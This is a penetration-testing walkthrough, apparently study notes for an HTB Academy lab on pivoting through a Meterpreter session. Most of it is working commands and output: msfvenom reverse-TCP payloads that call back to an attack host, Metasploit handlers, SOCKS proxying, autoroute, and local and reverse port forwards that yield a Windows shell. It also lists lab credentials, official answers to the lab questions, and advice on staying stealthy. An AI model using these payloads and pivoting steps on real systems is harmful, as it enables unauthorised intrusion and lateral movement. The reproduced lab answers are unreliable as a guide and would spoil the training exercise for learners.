🎯Meterpreter Tunneling

Overview

When we have Meterpreter shell access on a pivot host, we can perform enumeration and pivoting without relying on SSH port forwarding. Meterpreter provides built-in tunneling capabilities that can be leveraged for network pivoting, including SOCKS proxies, routing, and port forwarding.

Based on HTB Academy Page 5: Meterpreter Tunneling & Port Forwarding

Scenario Description

Network Topology

[Attack Host] ←→ [Ubuntu Pivot] ←→ [Windows Target]
10.10.14.x         10.129.202.64      172.16.5.19
                   (Meterpreter)       (Internal Only)

The Approach

Meterpreter session on Ubuntu pivot host
Built-in pivoting without SSH dependencies
SOCKS proxy for traffic routing
AutoRoute for network routing
Port forwarding through Meterpreter

1. Creating Meterpreter Payload for Pivot Host

Generate Linux Meterpreter Payload

# Create Meterpreter payload for Ubuntu pivot
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080

# Expected Output:
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: backupjob

Configure Metasploit Handler

# Start multi/handler for Linux payload
msf6 > use exploit/multi/handler

msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0

msf6 exploit(multi/handler) > set lport 8080
lport => 8080

msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8080

Execute Payload on Pivot

# On Ubuntu pivot host
ubuntu@WebServer:~$ ls
backupjob

ubuntu@WebServer:~$ chmod +x backupjob 
ubuntu@WebServer:~$ ./backupjob

Establish Meterpreter Session

# Metasploit handler output
[*] Sending stage (3020772 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826) at 2022-03-03 12:27:43 -0500

meterpreter > pwd
/home/ubuntu

2. Network Discovery Through Meterpreter

Ping Sweep with Meterpreter Module

# Use built-in ping sweep module
meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23

[*] Performing ping sweep for IP range 172.16.5.0/23

Alternative Ping Sweep Methods

Linux Pivot Host (Bash):

# For loop ping sweep on Linux
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done

Windows Pivot Host (CMD):

# For loop ping sweep using CMD
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"

Windows Pivot Host (PowerShell):

# PowerShell ping sweep
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.16.5.$($_) -quiet)"}

Note: Ping sweeps may require multiple attempts to build ARP cache for successful replies.

3. SOCKS Proxy Configuration

Configure Metasploit SOCKS Proxy

# Set up SOCKS proxy server
msf6 > use auxiliary/server/socks_proxy

msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050

msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0

msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a

msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

Verify SOCKS Proxy Status

# Check running jobs
msf6 auxiliary(server/socks_proxy) > jobs

Jobs
====
  Id  Name                           Payload  Payload opts
  --  ----                           -------  ------------
  0   Auxiliary: server/socks_proxy

# View module options
msf6 auxiliary(server/socks_proxy) > options

Module options (auxiliary/server/socks_proxy):
   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The address to listen on
   SRVPORT  9050             yes       The port to listen on
   VERSION  4a               yes       The SOCKS version to use (Accepted: 4a, 5)

Configure Proxychains

# Add to /etc/proxychains.conf if not present
echo "socks4 127.0.0.1 9050" >> /etc/proxychains.conf

Note: May need to change socks4 to socks5 depending on SOCKS server version.

4. AutoRoute for Traffic Routing

Configure AutoRoute Module

# Set up routing through Meterpreter session
msf6 > use post/multi/manage/autoroute

msf6 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1

msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
SUBNET => 172.16.5.0

msf6 post(multi/manage/autoroute) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: linux
[*] Running module against 10.129.202.64
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing table.
[*] Post module execution completed

Alternative: AutoRoute from Meterpreter Session

# Add routes directly from Meterpreter
meterpreter > run autoroute -s 172.16.5.0/23

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.5.0/255.255.254.0...
[+] Added route to 172.16.5.0/255.255.254.0 via 10.129.202.64
[*] Use the -p option to list all active routes

List Active Routes

# View routing table
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   10.129.0.0         255.255.0.0        Session 1
   172.16.4.0         255.255.254.0      Session 1
   172.16.5.0         255.255.254.0      Session 1

5. Testing Proxy & Routing

Network Scanning Through Proxy

# Scan Windows target through proxychains
proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn

# Expected Output:
ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-03 13:40 EST
Initiating Parallel DNS resolution of 1 host. at 13:40
Completed Parallel DNS resolution of 1 host. at 13:40, 0.12s elapsed
Initiating Connect Scan at 13:40
Scanning 172.16.5.19 [1 port]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19:3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
Completed Connect Scan at 13:40, 0.12s elapsed (1 total ports)

Nmap scan report for 172.16.5.19
Host is up (0.12s latency).

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds

6. Meterpreter Port Forwarding

Local Port Forwarding with portfwd

# View portfwd options
meterpreter > help portfwd

Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:
    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
    -L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
    -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
    -r <opt>  Forward: remote host to connect to.
    -R        Indicates a reverse port forward.

Create Local TCP Relay

# Forward local port 3300 to Windows target RDP
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19

[*] Local TCP relay created: :3300 <-> 172.16.5.19:3389

Connect Through Port Forward

# RDP to Windows target via localhost
xfreerdp /v:localhost:3300 /u:victor /p:pass@123

Verify Connection with Netstat

# Check established connections
netstat -antp

tcp        0      0 127.0.0.1:54652         127.0.0.1:3300          ESTABLISHED 4075/xfreerdp

7. Meterpreter Reverse Port Forwarding

Configure Reverse Port Forward

# Set up reverse port forwarding from Ubuntu to attack host
meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18

[*] Local TCP relay created: 10.10.14.18:8081 <-> :1234

Configuration Explanation:

-R: Reverse port forwarding
-l 8081: Local port on attack host
-p 1234: Port on Ubuntu pivot
-L 10.10.14.18: Attack host IP

Setup Handler for Windows Payload

# Background current session and configure new handler
meterpreter > bg
[*] Backgrounding session 1...

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set LPORT 8081 
LPORT => 8081

msf6 exploit(multi/handler) > set LHOST 0.0.0.0 
LHOST => 0.0.0.0

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8081

Generate Windows Payload

# Create payload pointing to Ubuntu pivot
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234

# Expected Output:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe

Execute Payload and Receive Shell

# After executing payload on Windows target
[*] Started reverse TCP handler on 0.0.0.0:8081 
[*] Sending stage (200262 bytes) to 10.10.14.18
[*] Meterpreter session 2 opened (10.10.14.18:8081 -> 10.10.14.18:40173) at 2022-03-04 15:26:14 -0500

meterpreter > shell
Process 2336 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>

8. Traffic Flow Analysis

Local Port Forwarding Flow

[Attack Host:xfreerdp] → [localhost:3300] → [Meterpreter Session] → [Windows:3389]

Reverse Port Forwarding Flow

[Windows Target] → [Ubuntu:1234] → [Meterpreter Session] → [Attack Host:8081]

SOCKS Proxy Flow

[proxychains nmap] → [localhost:9050] → [SOCKS Proxy] → [Meterpreter Session] → [Target Network]

9. Meterpreter vs SSH Tunneling Comparison

Aspect

Meterpreter Tunneling

SSH Tunneling

Prerequisites

Meterpreter session

SSH access

Setup Complexity

Integrated in Metasploit

Requires SSH commands

SOCKS Proxy

Built-in auxiliary module

External tools needed

Port Forwarding

portfwd module

ssh -L/-R commands

Routing

AutoRoute module

Manual route setup

Session Management

Metasploit framework

Terminal sessions

Stealth

More detectable

Blends with SSH traffic

10. Troubleshooting Common Issues

AutoRoute Compatibility Warnings

# Warning about session compatibility
[!] SESSION may not be compatible with this module:
[!]  * incompatible session platform: linux

# Solution: Proceed anyway, module usually works despite warning

SOCKS Proxy Connection Issues

# Check if proxy is running
msf6 > jobs

# Verify proxychains configuration
cat /etc/proxychains.conf | grep socks

# Test connectivity
proxychains curl -I http://172.16.5.19

Port Forward Verification

# List active port forwards
meterpreter > portfwd list

# Check listening ports
netstat -antp | grep :3300

# Test forwarded connection
telnet localhost 3300

11. HTB Academy Official Walkthrough

Complete Step-by-Step Lab Solution

Question 1: Network Discovery

"What two IP addresses can be discovered when attempting a ping sweep from the Ubuntu pivot host? (Format: x.x.x.x,x.x.x.x)"

Official Answer: 172.16.5.19,172.16.5.129

Step 1: Create Linux Meterpreter Payload

# Generate reverse TCP Meterpreter payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.7 LPORT=8080 -f elf -o reverseShell

# Expected Output:
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: reverseShell

Step 2: Configure Metasploit Handler

# Start msfconsole and configure handler
msfconsole -q
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 8080
run

# Expected Output:
[*] Started reverse TCP handler on 0.0.0.0:8080

Step 3: Transfer Payload to Pivot

# SCP transfer to Ubuntu pivot
scp reverseShell ubuntu@10.129.104.197:~/

# Enter password: HTB_@cademy_stdnt!
# Expected Output:
reverseShell                              100%  250     2.7KB/s   00:00

Step 4: Execute Payload on Pivot

# SSH to pivot and execute payload
ssh ubuntu@10.129.104.197

# On pivot host:
ubuntu@WEB01:~$ chmod +x reverseShell 
ubuntu@WEB01:~$ ./reverseShell

Step 5: Perform Ping Sweep

# From Meterpreter session
meterpreter > shell
Process 3006 created.
Channel 330 created.

bash -i
ubuntu@WEB01:~$ for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done

# Expected Output:
64 bytes from 172.16.5.19: icmp_seq=1 ttl=128 time=0.378 ms
64 bytes from 172.16.5.129: icmp_seq=1 ttl=64 time=0.032 ms

Question 2: AutoRoute Configuration

"Which of the routes that AutoRoute adds allows 172.16.5.19 to be reachable from the attack host? (Format:x.x.x.x/x.x.x.x)"

Official Answer: 172.16.5.0/255.255.254.0

Step 1-4: Same as Question 1 (Create payload, handler, transfer, execute)

Step 5: Configure SOCKS Proxy

# Background Meterpreter session
meterpreter > bg
[*] Backgrounding session 1...

# Configure SOCKS proxy
msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy 
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
VERSION => 4a
msf6 auxiliary(server/socks_proxy) > run

# Expected Output:
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server

Step 6: Configure Proxychains

# Ensure /etc/proxychains.conf contains:
socks4 127.0.0.1 9050

Step 7: Setup AutoRoute

# Return to Meterpreter session
msf6 post(multi/manage/autoroute) > sessions -i 1
[*] Starting interaction with 1...

# Add route to target network
meterpreter > run autoroute -s 172.16.5.0/23

# Expected Output:
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.5.0/255.255.254.0...
[+] Added route to 172.16.5.0/255.255.254.0 via 10.129.106.254
[*] Use the -p option to list all active routes

Route Analysis: The AutoRoute adds 172.16.5.0/255.255.254.0 which encompasses the target 172.16.5.19

Lab Success Criteria

✅ Payload created and transferred successfully ✅ Meterpreter session established on pivot ✅ Ping sweep reveals two active IPs: 172.16.5.19, 172.16.5.129 ✅ SOCKS proxy configured on port 9050 ✅ AutoRoute adds route 172.16.5.0/255.255.254.0 ✅ Network pivoting enabled through Meterpreter session

12. Best Practices

Session Management

Background sessions properly with bg command
Monitor active sessions with sessions -l
Clean up port forwards when finished
Document active routes for complex networks

Network Discovery

Use multiple discovery methods (ping, TCP scan)
Attempt discovery twice to build ARP cache
Document discovered hosts for later reference
Test connectivity before setting up tunnels

Security Considerations

Minimize payload size for stealth
Use HTTPS payloads when possible
Clean up artifacts after assessment
Monitor for detection during operations

13. Command Reference

Essential Meterpreter Commands

# Background session
bg

# List active sessions
sessions -l

# AutoRoute operations
run autoroute -s 172.16.5.0/23    # Add route
run autoroute -p                  # List routes
run autoroute -d 172.16.5.0/23    # Delete route

# Port forwarding
portfwd add -l 3300 -p 3389 -r 172.16.5.19    # Local forward
portfwd add -R -l 8081 -p 1234 -L 10.10.14.18  # Reverse forward
portfwd list                                    # List forwards
portfwd delete -i 1                            # Delete forward

Metasploit Auxiliary Modules

# SOCKS proxy
use auxiliary/server/socks_proxy
set SRVPORT 9050
set SRVHOST 0.0.0.0
set version 4a
run

# AutoRoute
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 172.16.5.0
run

# Network discovery
use post/multi/gather/ping_sweep
set RHOSTS 172.16.5.0/23
run

References

HTB Academy: Pivoting, Tunneling & Port Forwarding - Page 5
Metasploit Documentation: Meterpreter Portfwd
SANS: Metasploit Pivoting Techniques
Rapid7: AutoRoute Module Documentation

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